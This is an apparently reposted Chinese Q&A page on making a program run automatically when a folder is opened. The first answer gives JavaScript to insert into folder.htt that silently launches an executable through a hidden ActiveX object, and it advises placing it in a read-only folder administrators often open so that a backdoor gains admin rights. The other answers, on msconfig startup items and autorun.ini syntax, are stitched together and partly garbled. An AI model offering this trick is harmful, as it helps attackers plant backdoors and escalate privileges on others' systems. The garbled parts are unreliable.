如果我想在进入一个文件夹时就自动运行一个文件,怎么做?

如果我想在进入一个文件夹时就自动运行一个文件,怎么做?,第1张

分类: 电脑/网络 >> *** 作系统/系统故障

问题描述:

一直以来都想问这个问题。

解析:

用DESKTOP.INI和folder.htt来自动运行程序

把c:winnt目录中的desktop.ini 和folder.htt(注意:每种不同目录下的desktop.ini和folder.htt文件都是不同的,所以一定要是winnt目录下的。)复制出来,用记事本打开folder.htt文件把下面的代码加在最前面:

<script language="javascript">

run_exe="<OBJECT ID="RUNIT" !

WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject""

run_exe+="CODEBASE="程序名.exe#version=1,1,1,1">"

run_exe+="<PARAM NAME="_Version" value="65536">"

run_exe+="</OBJECT>"

document.open()

document.clear()

document.writeln(run_exe)

document.close()

</script>

把其中的"程序名.exe"改为你想要启动的程序名称。

现在我们只要把desktop.ini、folder.htt和要启动的程序,放在同一个只读目录(记住一定要是只读目录,而且最好是管理员经常进去的)下,当管理员打开这个目录,程序就会自动得到运行。

这种方法可以用于通过启动后门程序得到管理员权限

禁用电脑的开机启动项即可,步骤如下:

1、点击电脑桌面左下角下方的开始图标,在d出的上拉菜单中,找到【运行】,并点击它。

2、会在电脑桌面上d出一个【运行窗口】,刚窗口有一个输入框,在输入框中输【msconfig】,然后点击【确定】按钮。

3、然后桌面上会出现一个【系统配置】窗口,该窗口刚开始是默认显示【常规】选项卡,将其切换到【启动】选项卡,然后在【启动项目】下方找到不需要自动启动的程序,并将其取消勾选即可。

4、最后点击全部禁用,点击确定即可,这样就不会打开就自动打开软件了。

Autorun.ini文件的最简单的编写,就是三行,如果你稍懂编程,就很容易理解她的语法。

[autorun]

//表示autorun部分开始

icon=shell32.dll,13

//表示图表文件的位置

open=notation.exe

//表示自动运行文件的位置。

这样,一个最简单的autorun.ini文件就编写完成了。

实际上,autorun.ini可以编写的极为复杂并可以实现强大的自动运行的诸多功能。这样的autorun.ini文件此时就需要注册表的支持,如果您还懂一些注册表的知识,就可以很容易的理解下面所示的范例:

[autorun]icon=shell32.dll,13open=notation.exe

shell\win98=安装Windows

98shell\win98\command=win98\setup.exe

shell\ie5.5=安装IE

5.5(已安装)

shell\ie5.5\command=Ie5.5简\IE5SETUP.EXE

其中,shell表示在该位置新建一个主键(非常类似于注册表),其后的名称如上例中的win98为一个自定义的变量,该变量名应该在该shell子键中是唯一的,也就是说在下面的说明中,你就不能再用这个变量名。

"shell\win98="之后的是显示在鼠标右键菜单中的名称,这个可以你自己随心所欲的起名。

"shell\win98\command"表示在shell子键之下,再新建一个子键command,如果你经常使用注册表编辑器,你会立刻明白她的含义,那就是command之后的字符串将指定你运行的程序的实际位置,就如同注册表中的文件关联一样。

这样,一个在鼠标右键中命令的autorun.ini文件就编写完成了,你还可以增加更多的命令,并配合你的光盘或硬盘上的程序进行编写,使之完成更多的功能。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/tougao/11958960.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-20
下一篇 2023-05-20

发表评论

登录后才能评论

评论列表(0条)

保存